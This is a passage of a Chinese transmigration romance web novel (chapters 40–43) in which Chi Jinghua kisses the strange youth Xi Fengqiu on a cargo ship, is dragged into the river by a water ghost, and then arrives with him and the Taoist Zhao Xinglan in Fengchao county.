奚逢秋轻“嗯”一声,忽然轻笑一声,眼底止不住地流露出高兴和期待之情。 几乎是在他闭眼的同时,池镜花迅速地朝他靠近,一路畅通无阻,却鼻尖相抵即将亲上的前一秒骤然停下。 没有后悔,只是在酝酿。 池镜花牢牢打量着他的面颊,感觉心率快要突破临界值,与他挨得太近,每一次呼吸都在抢夺周围稀薄的空气,却又热又香,甚至脑子都晕乎乎的。 温度已然降下来了,池镜花却察觉不到迫近的冷气。 冷风过境,货船摇摇晃晃。 池镜花毫无察觉,下一刻,她捧住他的双颊,抵着他的唇,亲了上去。 柔软刹那折返,少年本能地扣住她的腰肢,想要离她再近些,直到甲板上的两道身影趋于重叠,彼此滚烫的身躯严丝合缝地紧贴着另一方。 连他们周围的温度都在不断攀升,逐渐化为浅灰色的雾水,又落在衣间,化为水珠,将他们更为紧密地融合。 池镜花微微一怔,感受到奚逢秋的不同寻常,心脏跳得更快,心间充斥着难以言说的喜悦之情。 但只是这样唇瓣相依和前几次都没什么不同。 池镜花决定再试试。 她鼓起勇气探出探出舌尖,勇敢地主动往里送,又笨拙地尝试勾出他的,继而抵死缠住,互相交换独属于自己的那份香甜。 当少女齿间的湿热闯入时,一种极为奇妙的感觉去烟花奚逢秋脑海中轰然炸裂。 完全不疼,可要比疼痛带来的滋味更令他兴奋。 他不知该怎么做,但身体已迅速接受一切,他不自觉地受她引导,本能勾缠住她的,轻轻含住又吐出,不断攫取少女舌间的芬芳。 完全处于极度兴奋和痴迷的状态下。 池镜花来回吞吐几次,已是累得不行,而且,她还不太会在亲吻时调整呼吸,最后兵败如山倒,只好退出。 当纠缠的舌尖彼此分离时,勾出一条黏湿淫靡的暧昧银丝,随着池镜花越离越远,最终在空中分崩离析,被二人吞入口中。 见此一幕,本在极力压制心中羞涩的池镜花是彻底红了双颊。 但她在硬撑,更在观察奚逢秋。 被她捧住脸颊的少年睫羽已完全被水汽浸透,眼底氤氲着暧昧拉扯的蓝雾,身体在不停地微微颤抖,呼吸比她的还乱,漂亮的锁骨更加明显。 情绪起伏十分明显。 奚逢秋微微抬眸,瞳孔中的雾气并未完全消散,宛如清晨弥漫在海平面的云雾,万物皆隐藏在海底。 “好像跟之前不太一样。” 他的声音很低,夹带着清澈的疑惑,一张一合的唇瓣颜色也格外红,池镜花已能想象出自己的嘴唇该有多鲜艳。 “嗯。” 她小幅度地轻轻点头,不由自主地咬住唇瓣,轻轻舔舐了下。 “我在学习……” 因为以前都是简单的唇瓣相触,所以她才要学习怎样才是真正的亲吻,但看样子,她在这方面的天赋并不高。 奚逢秋以“原来如此”的表情凝望着她,在肆意的冷风和货船摇晃的行驶过程中,思绪已渐渐平静下来。 不过却不如刚才有意思。 “还要继续吗?” 少年眉间漫上一层淡笑,是希望她可以再来一次的。 池镜花轻轻摇头,“不要了。” 她原本就是为了男配的好感度而亲他,但亲了这么久,好感度也没有变化,再亲下去恐怕不会有结果。 但是不应该的。 还是说……同样的招数不能多次使用? 池镜花疑惑地望着他,无意瞥见少年唇边所留下的晶莹的水迹时,脑子轰隆隆地犹如列车行驶过,双手不做主地“啪”地一下抱住了他。 刚刚平复下来的情绪就在刚刚又被推至巅峰,敲击她的心脏,似乎只有这样环抱着他的颈侧,将脸颊彻底埋进他的颈窝,贪婪嗅着他身上的香气,只有看不见他的脸、他的唇,池镜花才能重新恢复理智。 她双臂环着他,炽热而柔软的上半身紧贴着对方,以此来寻找可令自己快速冷静的方法。 少女的突然靠近叫奚逢秋愣住片刻,回过神来只觉得安心而舒服。 少女冰凉的发丝若有似无地搭在他的肩上,与他的缠在一起,呼吸的炽热附上他的皮肤,渗进毛孔,游走在身体四处。 似是感受到她的强烈的情绪波动,为安抚她,奚逢秋轻轻地抚上她的后背,由上至下,掌心一次次地顺下来。 几次下来,池镜花确实好多了,甚至已不在发烫,可以感受到风的寒冷,在耳边簌簌回荡,身上的衣服也被雾气和露水浸了个半透。 冷不丁地,奚逢秋蓦然开口,声音稍显愉悦。 “我还以为你会离开。” 但她没有,反而亲他抱他。 池镜花稍加思索,便明白他是听见了自己与悬赏司小吏的对话。 小吏确实曾劝她要离奚逢秋远点,但池镜花铁定不会,而且他还透露了个重要消息——奚逢秋曾打听过她的家乡。 他对她的身世,就这么好奇吗? 池镜花不禁探头,眨了两下眼睛。 少年唇角微扬,眉目缱绻着温柔的笑,像是以最稀松平常的态度看待这一切。 池镜花忽然想要告诉他自己的事情,前提是绝对不会透露穿书异世界的消息。 这是她保命的底牌,只有在确定奚逢秋对她彻底没了杀意后才会坦诚。 池镜花迅速从他身上爬起,端正做好,假装一本正经地说:“我要是走了,你就再也不会知道我的秘密了。” 一直施加在肩上的力气倏忽离去,奚逢秋轻轻歪头,露出几分恬淡天真的笑。 “那你现在要告诉我吗?” 池镜花轻咳一声,忽然有些不好意思来。 “我叫池镜花,家在平安县,家中有父母和爷爷奶奶,还养了一只狗,不过在我十一岁那年,爷爷奶奶和小狗全都先后离世,所以现在家里只剩下我和父母双亲。” 她没说谎,所有的一切都是事实,自然一气呵成,见到落在衣上的月光,池镜花突然想起什么,急忙补充一句。 “哦,对了对了,今天是中秋节,我也有句话要对你说。” 少女的声音不大,却好似直接穿过层层叠叠的云雾,掷在平静的水面,引的死寂的江鱼猛地一跃而起,激起不小的水花,溅在甲板上。 “希望奚逢秋顺遂无虞,永远平安喜乐。” 40-50 第41章 第41章依旧很热。 已是后半夜,透亮的月光遍布在凄冷的江面,勾出浮出水面的深厚雾气。 夜深雾重,能见度骤降,超出百米以外的一切已看不清,货船的行驶速度也渐渐慢了下来。 摇摇晃晃的,令人发晕。 池镜花在看他。 自她认真说完送给他的祝福语后,池镜花便一直在等,等他给出回应,慢慢地,生出了几分期待 之情。 奚逢秋神色微怔,眼底的疑惑和诧异稍纵即逝,池镜花一眨眼,他又一如既往地表情平静,勾着唇角,轻轻笑了一声,声音在浓雾中缓慢散开,飘向池镜花耳中。 “多谢。” 多谢? 就这? 她在祝福他哎,怎么反应这么平淡。 池镜花难免失望,但转念一想,若是情绪过于激动似乎不符合他的人设,于是重新振作。 她轻“哦”一声,利落翻身而坐,坐在他的身侧,按在甲板上的手指压住他的衣服,抬头望着月亮。 今天是中秋节,不管怎么着,总得欣赏一下月亮。 池镜花是这么想的,可不知怎地,余光总是控制不住地瞥向隔壁。 大多数时候,都会被他敏锐察觉捕捉到视线。 若是如此,她就尴尬地扭过头,假装什么也没发生的样子。 最后一次,她还没来得及偷看,少年先她一步,目光如同焊在她身上,却怎么看不透她的想法。 “为何总要看我?” 池镜花闻声偏头。 四目相对,隔着灰蒙蒙的湿冷江雾,她看见少年微微侧着头,耳侧若隐若现其一抹血红,眉宇间透出几分疑色。 “额……我是想问你冷不冷?” 慌乱之中,池镜花随便找个借口搪塞,本以为会被奚逢秋察觉,不想他只是视线淡淡扫了眼四周弥漫的浓雾,微微笑着点了点头。 “说的也是。” 好糊弄得不行,就跟当初他威胁她时,她装没听见一样。 奚逢秋继续温和地笑着,“很晚了,要回去吗?” 池镜花毫不犹豫地点头。 在两人起身后,像是想起什么,她猛地拽住前面之人的衣裳。 “等一下。” 话音刚落,少女已迅速绕到他跟前,仰头抬手,以指腹轻轻擦拭去唇瓣的最后残留的一丝暧昧痕迹。 被亲过的唇瓣已经这么红了,不能再留下对方的津液,让人看见很羞耻。 就在她胡思乱想之际,自己的唇忽被一阵凉意所覆盖。 是奚逢秋的指尖抵着她的。 “我的……”没有。 池镜花正要说她唇上的痕迹早已被清理干净,忽然想起上次奚逢秋主动撬开自己唇舌的举动。 或许,现在也是因为好奇? 不过当微凉的指腹在她的唇上因细细摩挲而逐渐萌生热意时,许是预料到他下一步的动作,池镜花硬生生地别开了脸,不想叫他在自己的口腔里胡乱地搅。 “好了,我们赶紧回去吧。” 话语掷地,池镜花正要拉他一块回船舱,突然间,“砰”地一声,耳边轰然炸响硬物的断裂声。 她下意识回头,只见货船护栏不知为何猝然断裂,沉入湖底时激起一层巨大的浪花,周围没有其他人的身影,甲板上留下一摊江水,在月下泛着透明的银色。 头顶,清脆的鹤唳声乍起。 还没弄清发生什么,视线中,已有数十条长形黑影顺着船身悄悄爬上甲板,黑影的前端能辨出是小孩子的手,被拉扯成各种扭曲诡异形状,顺着甲板和船帆四处游走攀爬,同时,耳畔响起孩童的凄惨哭声,伴随着“爹地,娘亲”弱弱的呼喊声。 破案了。 “是水鬼。” 池镜花不自觉脱口而出。 详细剧情她虽记不清,但在男女主上船后有这么一小段剧情。 有个孩子溺死后死后成了水鬼,因为有寻找父母的执念,偶尔会袭击船只,导致男女主乘坐的整艘货船差点全军覆没。 “好像是这样。” 奚逢秋唇边噙着笑,随即将目光转向停在半空的白鹤,几秒后转动瞳孔,看向白鹤身下那片水域下的漆黑身影。 池镜花猝然明白件事——他恐怕早就知道水鬼会袭击这艘船。 怪不得他要站在甲板的尽头。 应是从她震惊呆滞的表情中猜出了什么,奚逢秋态度温和地轻轻点了点头。 “嗯,我知道。” 他就这么大大方方地坦然承认了,承认自己一早就知道水鬼在这附近,忽然间,像是想到什么有趣的事情,弯眸笑了一下,慢腾腾地朝池镜花伸出右手,月华洒在掌心,照亮骨节分明的五指。 “要跟我一起过去吗?” 池镜花一秒明白他又在想干什么,但本能有些抗拒。 “我们还是先去找赵道长……” 话说一半被兀自打断。 皎皎月光直直坠在少年瞳孔中,犹如裹着蜜色的星海,叫人难以挪开目光,凝视她的双眸盛满困惑。 “为何要找他?” 池镜花实话实说:“因为赵道长是道士,比较擅长捉鬼。” 在原著中,没有人比男主更懂如何捉鬼降妖,所以一遇到妖怪,她自然而然想到的就是求助男主,这样才能活得久嘛。 “原来是这样。” 奚逢秋只是微微笑着,看上去情绪没有太大起伏,接着,忽而上前一步,双手绕过她的两侧,轻轻揽住了她。 一切都始料未及。 等池镜花回过神来,发现他抱得其实并不紧,只是双臂环着她,两人中间还有很大的空隙,比起抱,更像是一种安抚,就连掌心,也是拍着她的后背。 “不要担心,我会保护好你的。” 言语和动作都温柔至极,但更像是故意引诱她同他一道下水捉鬼一样。 上次随他学习剑法,池镜花已经上过一次当,说什么也不会信他。 不过,正当她准备推开奚逢秋时,水鬼漆黑的手掌忽然缠上她的脚腕,与此同时,耳边响起一道缠绵凄惨的“娘亲”。 不好。 是水鬼把她认成了娘亲,所以要她拖下水。 池镜花正要从水鬼手上解救自己,可水鬼像是受到刺激,忽然“啊”了一些,哭着喊了声“好疼”,接着发疯似的用力撕扯她的脚腕。 没有任何准备的池镜花一个踉跄差点栽进江里,奚逢秋突然用力抱住了她,接着,才与她一道被水鬼拖进江里。 “等——!!” 她不会游泳啊啊啊啊! 没有给她拒绝的机会,“噗通”一声,两人皆沉入水下,溅起浪花朵朵拍在甲板上。 这时,已完成任务的白鹤停在甲板上,伸长脖子,好奇地朝下面望,想要瞅瞅水下会发生什么。 而在水下,被冰凉的江水瞬间吞没,池镜花一掉下去便止不住地打了个冷颤,就在以为自己不会水性铁定要被淹死,但意外发现自己可以顺畅呼吸。 直到她看见被流水冲出而飘在水里的黄符才恍然大悟。 是避水符,男主给的符咒起作用了。 但她还是不会游泳,而且,脚腕好痛,身体也在不断下沉,她只能紧紧抓着奚逢秋。 被水流冲散的乌发四处飘溢,她抬起头,借着映在水底的月光看清她面前的人。 除去衣裳湿透和也在不断下沉以外,他看上去跟岸上没什么区别。 也对,他本身就是一朵生在水里的莲花,自然不怕水。 “我……” 池镜花正要开口说“我不会游泳”,不想一张口就咕噜咕噜冒出无数泡泡,喝了一肚子的水,吓得她下意识地捂住嘴巴。 像是被她的反应所逗乐,奚逢秋轻笑一声。 声音隔着江水有些沉闷,但却不难听出其中的高兴之情。 池镜花灵机一动,想到袁府的小鱼,虽然不会手语,但手舞足蹈地,极力表达“她不会游泳想要上岸”的诉求。 墨发随水流而四散,奚逢秋病态苍白的面颊挂着浅笑。 “你这样我是看不懂的。” 啊啊啊啊,烦死了!! 池镜花严重怀疑,是他有意惹怒水鬼,所以才害得她被拖进来。 但现在身在水里,除了配合他满足他的欲望,也做不了别的。 池镜花“啪”地一下抓住他的手臂,紧紧抱在怀里,接着,强行掰开他的五指,在他掌心一撇一捺地慢慢写下三个字。 ——快一点。 不管他要做什么都得抓紧时间,再不快点,他们马上就要沉入江底了,再下去不被淹死也要被冻死。 思忖片刻,怕他不愿,池镜花又赶 紧补上另外三个字,抬头神情无助地望着他。 ——求你了。 许是感应到不安的情绪,奚逢秋深处她的下方,将人轻轻搂在怀里,给予她一定的安全感,同时,指尖轻柔地抚摸她的后背。 “不要紧张。” 不,她很紧张! 不管怎样都很紧张。 少年有些无奈地轻叹一声,抬眸望了一眼想要逃上货船的漆黑身影,而后掌心覆上她的双眼,挡住透进瞳孔中唯一一丝月光。 黑暗中,少女的所有感官功能被无限放大,流水的声音愈发清晰,拂过脸颊的柔软发丝,贴着她的脖颈,与她的缠在一起。 耳边传来水鬼的潜伏在流水声里的恸哭,白丝轻轻划过她的脸颊,夹杂着淡淡的香气。 他在做什么? 池镜花觉得她可能知道,但她什么也帮不上,她甚至不明白奚逢秋为何一定要拉她下水,既是为了水鬼,他自己也可以,没必要拖她下水的,况且,她还不会游泳,可以称得上是拖油瓶。 她想不明白,而且随着温度越来越低,大脑也逐渐失去思考能力。 她下意识地四肢紧紧缠绕着她,湿漉漉的头发贴着他的,因过于寒冷,而迫切地汲取他身上的热意,脸颊在他颈侧胡乱地蹭。 不知过去多久,直到她又听见水鬼呼喊爹地娘亲的声音,才得以重见光明。 池镜花神情呆滞地望着眼前。 不是江底,而是甲板。 她依旧抱着被压在身下的人,湿透了的身躯严丝合缝地贴着对方。 很近。 奚逢秋眼睫轻颤,细密的水珠从他脸颊缓缓滴落,神情有些迷茫。 他们抱过很多次,但像这样在双方浑身湿透,就连包裹躯体的布料形同虚设还是头一次。 仿佛能够感受到少女毛孔渗出的温度犹如一把利器,将疼痛一点点剜出,不知不觉吞噬他体内的凉意,又将少女身上的甜腻渡给他,继而填满他内心的空洞。 渐渐地,躯体的温度犹如火烤一般,似乎在水底便已是如此。 “好热啊。” 他想离这股热源远点。 池镜花一秒回神,急忙从他身上爬起来,“啊……哦,对不起,对不起,我不是故意的。” 雾气逐变稀薄,奚逢秋望着泛白的天空,指尖按住颈侧的残留的余温,混在风中的声音很低,如悬崖边上无声无息滚落的一颗小石子。 “我知道……” 不同于他,抱住他只是池镜花求生的本能,可不知为何,在她离开后,身体依旧很热。 第42章 第42章期待她可以替他换衣裳。…… 天刚蒙蒙亮,远方泛出鱼白肚的颜色,空气中似弥漫着股淡淡的鱼腥,江风时不时拍打船舱的旧窗户,发出“吱呀吱呀”的响声。 赵星澜坐在桌前右手支着额头,不知怎地就睡过去了,迷迷糊糊中,忽然被浪花拍打船的巨大声音所惊醒。 听见异响的赵星阑急吼吼地拉开船舱的破旧木门,冲到甲板上一探究竟。 清晨的第一缕的温暖阳光射在甲板上,将两道交叠又快速分离的身影映得清晰可见。 “池姑娘,奚公子,你们没事……怎么湿成这样了?” 池镜花闻声抬头,看见赵星澜面露疑惑地已站在他们跟前,犹如抓到根救命稻草,连忙爬起来,一口气将方才发生的事情解释一遍。 当然,她重点挑明水鬼骚扰他们的一事,至于他们怎么掉入江水的……还是算了。 那是她跟奚逢秋之间的私事。 赵星澜边听边点头,初升的暖阳照在他的脸上,他露出个和煦的笑容。 “原来如此,不过水鬼既已解决,二位还是先换身衣裳吧,江面风大,当心着凉。” 湿哒哒的衣裳黏着皮肤也不舒服,池镜花正有此意,赶紧拽走正在发愣的奚逢秋,只留下两排湿漉漉的脚印和脚印边上溅落的不规则水滴,一直延伸至船舱门口。 商队人多,只分给他们个狭小的船舱,所以像是做换衣服这种隐私的事情,另一方只能在外面等候。 此刻,奚逢秋就站在门外。 少年微微低头,手臂轻抬,摊开五指,点点日光透过未消散的云雾,落在他的苍白透明掌心,赫然可见其躺着一张精致的红色纸人。 是以池镜花为原版而剪出的纸人。 这是他第一次从池镜花身上感受到疼痛时剪的,因为觉得有意思,自那以后便一直收藏着。 江风吹拂,若有似无的撩拨他湿漉漉的发尾,奚逢秋一直盯着纸人,却仿佛透过纸人在看其他,不知想起什么,蓦地弯了弯唇,无意识地唤了声。 “池镜花……” 他的声音很低,没传多远便消弭于风中。 所以池镜花毫无察觉,她在庆幸自己离开袁府时问袁老板买了几套衣裳。 一回到船舱,池镜花便翻出套干净的衣裳换上,但一联想到奚逢秋古怪表现,令她下意识摸了摸自己的脸颊和脖颈。 冰凉,一点也不热。 真是不明白奚逢秋怎么会觉得她热。 池镜花边思考边用布巾一遍遍擦拭头发上的水珠,做完这一切,赤着脚推开船舱的木门,让门外之人进来。 “奚逢秋,我好了。” 奚逢秋闻声收拢五指,却不敢用太大力气,怕令纸人出现折痕,接着,跟随池镜花一道进了船舱。 阳光从船舱的木板缝隙中勉强挤进,随着摇晃的船体而斑驳地打在他的衣角,晶莹的水珠泛着浅金色的光,仿佛令他蒙上一层柔和透明的薄纱。 少女湿漉漉的发丝贴着纤弱的颈侧,亮晶晶的眼睛眨了两下。 “要我出去吗?” 知道她的意思,奚逢秋只笑了笑,声音很轻:“没关系的。” 哦,对,他还觉得热呢。 池镜花没太在意,一个眨眼的功夫,看见奚逢秋已朝她摊开五指,在他手中看到一张形似自己的纸人。 他没有说话,视线缓慢落下又抬起,最终停留在她脸上,清澈的笑意慢慢浮现眼底。 池镜花不大确定地问:“是我吗?” 少年轻轻点头应声,随着他的动作,挂在发间的水珠落下几滴,溅在二人中间,模样看上去乖巧又天真,唇边含着温柔无害的浅笑。 “像吗?” 池镜花默默走近,垂头目不转睛地盯着,在仔细对比了下自己的五官和纸人的,得出相对肯定的答案。 “额……应该挺像的吧。” 少年继续笑着发问:“哪里?” 什么哪里? 池镜花猝然抬头,一不小心掉入少年装满疑惑的瞳孔里,一瞬间,仿佛被涨潮的海水吞没,令她产生片刻的窒息感。 回过神来,池镜花察觉到他真为此感到不解,认真思考后,指着纸人五官指尖慢慢挪动,“眼睛,鼻子,嘴巴,耳朵,都很像。” 其实,奚逢秋剪纸技艺高超,这点她很清楚。 不想她的这句话不仅没有解答奚逢秋心底的不解,反而叫少年垂眸时的目光疑惑更甚,牢牢钉在她身上,一寸寸游走在她五官之间。 “为什么?” 一缕阳光照在他的脸颊,映出细密的水珠,他的声音极为轻缓,但似乎没打算给她回答的时间,又微微笑着,继续一字一句地开口。 “为什么会很像?你的眼睛会看人,你的鼻子会呼吸,你的嘴唇会说话……” “好了,停!” 他每多说一个字,池镜花的心跳便加速一分,仿佛下一秒就会蹦出胸腔脱离她的掌控,只觉得脊背发凉瘆得慌,甚至被指名道姓的器官都在微微发疼。 “不像,一点也不像!” 强烈的求生欲催促她立马转变说辞,“纸人是纸,我是人,你说的这些当然不一样!” 奚逢秋没有立即回她,而是回想起了几次三番地从她身上获取到全部的奇妙的体验。 他轻轻垂下鸦青色的睫羽,微微颤动中唇角弧度渐起,表情稍显愉悦,内心得到极大满足。 “嗯,不一样。” 他一直以为,池镜花只能给予他特别的疼痛,这是她与纸人唯一的不同之处,也是他需要她的地方。 可是错了。 除此以外,纸人还不能抱他亲他,更没有心跳和体温,不会令他身体奇迹 发热,碰他时也永远也不疼。 所以,只有池镜花,跟纸人不一样。 池镜花静静凝望着他平静而顺从的表情,觉得煞是奇怪,脑海中骤然浮出个想法——难道在他眼里,其他人跟纸人无异? 她被这突如其来的念头吓了一跳。 结合他压根不在乎他人和自身性命行径来看,确实大有可能。 可他刚才又明确表示她跟纸人不一样…… 她该庆幸男配对她和别人不一样吗? 只是这种情感能够称得上是“喜欢”吗? 在她想得入神之际,一道冰冷漆黑的阴影自头顶上方笼罩而下。 她仰起脸,面对突然靠近的少年,吸了两口好闻的花香,颇为困惑地望着他。 “怎么了?” 奚逢秋微微歪了歪脑袋,摇曳的耳铛划过一缕阳光,口吻略带遗憾和可惜。 “我总是看不透你在想什么。” 池镜花那样奇怪的一个人,他对她分明充满好奇,却对她的种种行为和想法都捉摸不透。 感受到奚逢秋强烈的求知欲,池镜花轻轻叹了口气。 “你真的想知道?” 奚逢秋轻“嗯”一声,又是一滴水珠落地,“啪嗒”一声,顺着发丝滴在木板上。 池镜花没有办法,忽地拽过他的手腕,抓住他的肩膀,趁他不注意,将人强行按在床上坐好。 在他困惑不已的目光中,池镜花义正言辞地解释:“换衣服。” “换衣服?” 少年神情依旧有些迷茫。 池镜花忙不迭地点头,“对啊,你都湿成这样了,赵道长没说错,一直这样会生病的,所以,你需要赶紧把衣服换了,然后睡一觉,下午船就靠岸了,没时间休息。” 她一股脑说完,说罢,伸出双手正要解他的衣裳,忽然指尖一顿,意识到情况有些不对。 跟之前上药只需露出肩胛一小块伤口不同,现在可是要给他换衣服,这对于连亲吻都十分勉强的池镜花来说过于激烈,光是颅内设想一下,心跳就狂跳不止。 一下又一下,四周静得仿佛只剩下她剧烈的心跳声。 她悻悻缩回手指。 “不继续了吗?” 少年如山涧清泉般的好听嗓音骤然拂过她的耳廓,在她的耳蜗里不停打转,又成一道重锤,敲击她的心脏。 池镜花骤然抬眸。 坐在床边的少年正在看着他,如深海的双瞳弥漫着清浅笑意,她的一举一动和样貌完全他捕捉进瞳孔中,被淡淡碎光所包围。 看样子好像还挺期待她可以替他换衣裳的。 ……不是,这也能让他兴奋的吗? 什么有病的爱好啊! 虽然很想获得他的好感度,但池镜花现在真没那个勇气。 她咬唇放弃该做法,直起身,把双手背在身后。 “还是你自己来吧。” 奚逢秋没有回应,视线一错不错地盯着她。 池镜花真怕自己头脑一热把他衣裳解了无法收场。索性转过身,准备去门外等着。 “我出去了。” 不等他说话,池镜花抬脚就往外走,走到一半,想起还有件事没处理干净,又迅速折返回来。 见状,浮在他双眸的笑意更深,仰头时,耳铛从湿漉漉的发间冒出头来,被日光一照,映出模糊的影子,看着透亮不少。 “是后悔了吗?” “不是!” 就那么想叫她解他衣裳吗? 这究竟有什么乐趣可在啊! 哪管三七二十一,池镜花一把抓住他冰凉的手指,引导他抚上了自己的脸颊。 “是这个。” 肌肤一经碰到含着湿气的指腹和掌心,仿佛有什么奇怪的东西顺着毛孔钻进她的身体里,令池镜花不由自主地打了个冷颤。 她深吸一口气,强迫自己镇定下来,接着,开始慢慢施加力气,带领他抚过脸颊和颈侧,在肌肤相触中,让他一点点感受自己的体温,用实际行动表明被河水浸泡过的身体一点也不热,没感冒发烧算她体质好。 “奚逢秋,我身上一点也不热。” 分明就是他热! 第43章 第43章你这样喊我,很舒服。 临近午间,遍布江面缭绕的云雾已经散去,巨大货船的身影逐渐清晰,直射水面的阳光夹带丝丝热意,偶有几只活泼的江鱼会跳出水面透气。 因折腾一夜,池镜花早已累得不行,刚躺下脑袋一沾枕头就睡着了,再度睁眼已是中午。 刚刚苏醒,脑袋还是一团浆糊,却闻见一股熟悉的香。 她呆愣愣地盯着船舱的顶部缓了会儿,意识回笼后慢慢转过头,抬眸,与站在床边的奚逢秋对上视线。 他背对船舱的门,金灿灿的日光从窗棂洒在他脚下攀上他的衣角,衣袂在微风中轻扬,他轻轻低着头,垂于肩上的墨发随风轻轻摇曳,隐于长睫下的双眸正静静凝视着她,眼底漫着几分疑色。 池镜花心脏猛地跳动一下。 毕竟有点被吓着了,而且,他实在是漂亮。 池镜花忽然记起自己当初在一堆任务中选中奚逢秋的理由:不光是因为原著中描写他善良温柔好相处,而且长得好看。 她不争气地为此心动,然后毅然决然地选择攻略他。 本来只想公费谈个恋爱,谁承想这么久都没什么进展。 虽说如此,但经过这么长时间的相处,池镜花对他的某些行为习以为常。 就比如现在,他可能一直没有怎么合眼,而是站在这里观察她。 可能还是因为好奇吧。 念及此,池镜花暗暗叹口气,利落掀开被褥,淡定地穿鞋,不想意外发现原本有些红肿的脚腕奇迹般的消肿了,只是还有点红。 看来她的恢复能力还是很不错的。 池镜花暗自高兴水鬼所造成的伤不会影响到正常生活,就在此时,头顶上方忽然传来一道炽热的视线,似乎是冲脚腕而来。 她本能抬眸,又是四目相对。 如冰雪融化,少年眉眼间化开了个春风烟雨般温润的笑,轻柔的声音与清风一道钻入耳中,慢悠悠地沉入心间。 “船停了。” 话音落下,货船骤然摇晃一下,接着,码头嘈杂的人声传来。 确实如他所说,船只靠岸了。 池镜花愣住片刻,迅速收拾好私人物品,拉着他一块下了船。 微风不燥,阳光微微刺眼,鱼腥无处遁形,到处都是人和货船。 他们下船的时候看见商队的几位兄弟正在把货物往下运,见到二人,还友好地打了声招呼,预祝他们此去一路平安。 池镜花没有多想,回以礼貌的笑容和道谢。 继续往前走,略过码头嘈杂熙攘的人群,在一颗大树下,他们终于找到赵星澜。 赵星澜半跪在树下,面前伫着一座刚立起的新坟,坟下埋的是他连夜从江下打捞上来的水鬼白骨,最后,他又将一块无字碑立好,才算完事。 他站起来拍了拍衣上尘土,面带微笑地转过身。 “对了,池姑娘,奚公子,我有件事想同二位商量一下。” 池镜花本就觉得男主正得发邪,又见刚才这一幕,对他的钦佩之情更甚,忙摆手让他不要客气。 “没关系的,赵道长,你说。” 赵星澜也不客气,坦言盘缠所剩无多,因为离立春还早,所以他想效仿之前在金德镇接个悬赏令挣点路费,因此担心会耽误他们二人的时间。 “没事没事。” 池镜花一笑而过,“而且不瞒你说,我刚好也想接个悬赏令。” 虽然她接了男主的悬赏金,又从男主那里分了袁府悬赏令的一半赏金,可这些钱差不多都用来购置生活用品以及付船费,若是要去京师,还要多准备些路费比较好。 “原来如此。” 赵星澜微微点头,下意识望向站在池镜花身边的奚逢秋。 他眼中的奚公子平日里总是一副温和无害的温润君子,却怎么看不清温柔底色下掩盖的真面目,令赵星澜心有不安。 枝叶破碎迷离的光影斑驳地打在 奚逢秋浅色的衣间和颈侧,随风轻轻摆动,他微微偏头望向身旁的少女,双瞳中含着清润的笑。 “没关系,我跟着池镜花就好。” 言外之意:就算是接悬赏令,也要同她一起。 池镜花巴不得如此,拼命点头,“嗯对对对,我跟奚逢秋一道就好,所以赵道长,你不用担心我们。” 闻言,赵星澜似懂非懂地点了点头,“那就好。” 说归说,但他总归还是有些担心池姑娘的生命安全,或许,他应该多为她备些护身符咒。 池镜花对此浑然不知,她开始好奇地打量起这个新地方。 听来往码头的兄弟说,这里是丰朝县,虽与金德镇只隔着一条江,但却比金德镇富饶许多,所以才会有很多货船往返两岸。 这点在他们去往丰朝县的街道最为明显。 不管是店铺数量还是来往人流,都要比金德镇多的多,但相对应的,物价也翻了一番,逼着人拼命赚钱。 他们穿过繁华的街道,一路打听,终于找到悬赏司的位置。 跟金德镇独门独栋的情况不同,丰朝县的悬赏司藏在偏僻的巷尾,这里到处都是人家,若不是问人,死也找不到。 此时已近黄昏,巷头巷尾家家户户门前悬挂着的红灯笼有的已经点燃了里面的油灯,只有悬赏司门前的灯笼蒙着一层厚灰,像是许久没有用过的样子。 很是奇怪。 “你们来迟了。” 就在此时,一位中年男人喝红了脸,醉醺醺地拎着酒壶急匆匆往家里赶,正要推门,瞧见三人傻站在悬赏司门口,便好意提醒道:“悬赏司只有每日辰时才会有人。” 赵星澜上前一步,面露疑色,“为何会这样?” 男人摇头叹了口气,继而给出解释。 原是衙门不愿意出钱雇人,所以就低价请了位孤寡且眼神不好的老婆婆,那老婆婆只有在每日辰时象征性地过来打扫打扫屋子,所以,他们要想接悬赏令,得明日辰时再过来。 池镜花无意识地眨了眨眼睛。 任谁也没想到,丰朝县这么富庶的地方,衙门居然这么抠。 几人一时无言以对。 沉寂几秒,男人忽然故意露出个古怪的笑。 “天快黑了,几位刚来没有傩神庇护,可一定要当心夜里撞见鬼。” “不过没事,傩神很好说话的,你们只要大喊傩神救我,我们每年都向她供奉,她听见的话一定会救你们的,哈哈哈哈哈!” 像是故意吓唬他们一般,说罢,男人摇摇晃晃地推开自家大门,紧接着,院内传出女人不满的吼叫声。 池镜花低头沉思。 事实上,在听到“傩神”二字时,她莫名有种熟悉的感觉,原著中,似乎丰朝县的剧情就跟傩神有关,具体什么剧情还得再想想。 “看来只能明日再来了。” 赵星澜叹了口气,提议找间客栈住下,等明日接到悬赏令再做打算。 这是最好的办法。 丰朝县有很多住宿客栈,档次也不同,但碍于囊中羞涩,他们一致决定找家便宜性价比高的客栈,反正一样是休息,唯一的坏处就是里面鱼龙混杂什么人都有,但只要不惹事就行。 吃完晚饭,赵星澜摸了摸玉佩,想到什么,说要去楼上休息,只留下池镜花跟奚逢秋两人在一楼。 天色已晚,客栈内客人不剩多少,但是丰朝县的街道上却热闹非凡,这点也跟一旦晚上就闭门暂停营业的金德镇截然相反。 池镜花端着白瓷茶杯假装喝茶,实则时不时地偷偷抬眼朝坐在她右手边的奚逢秋望去。 似乎今天整天,他都没怎么说话,也不知道究竟在想什么。 奚逢秋轻轻抬起眸子,视线一晃,精准捕捉到少女赤|裸毫不掩饰的目光。 池镜花下意识地想躲,可一想到赵星澜不在,没人认识他们,索性放下茶杯,大大方方地坐到他身边去,认真盯着他的双瞳。 “奚逢秋,你以前来过这儿吗?” 烛火明明灭灭,他眼眸低垂,神色晦暗不清,唯有裹藏在冷风里的声音清晰可辨。 “没有。” ——但莫名叫他有些烦闷。 得到想要的答案,池镜花松了口气,随即笑了几笑,灯火下长睫忽闪忽闪,在脸颊投以一片摇曳的暗色阴影。 “我也没有,那我们一块出去走走吧。” 听她这般说,奚逢秋忽而望着她,挂在眉梢上的笑意止不住,冷白的皮肤映出烛火的暖色。 “不怕遇见鬼吗?” 池镜花思忖片刻,忽然想起中年男人提起过的傩神,不确定地回道:“若是真遇见了,就向傩神喊救命?” 奚逢秋微不可察地叹气,像是对她的回答不太满意,而后又垂下脑袋,盯着少女受过伤的脚腕。 “不如试着喊我吧。” 池镜花懵懵懂懂地眨眼,“可我一直在喊你啊。” 奚逢秋复又抬眸,神情透着几分不解。 “现在呢?” 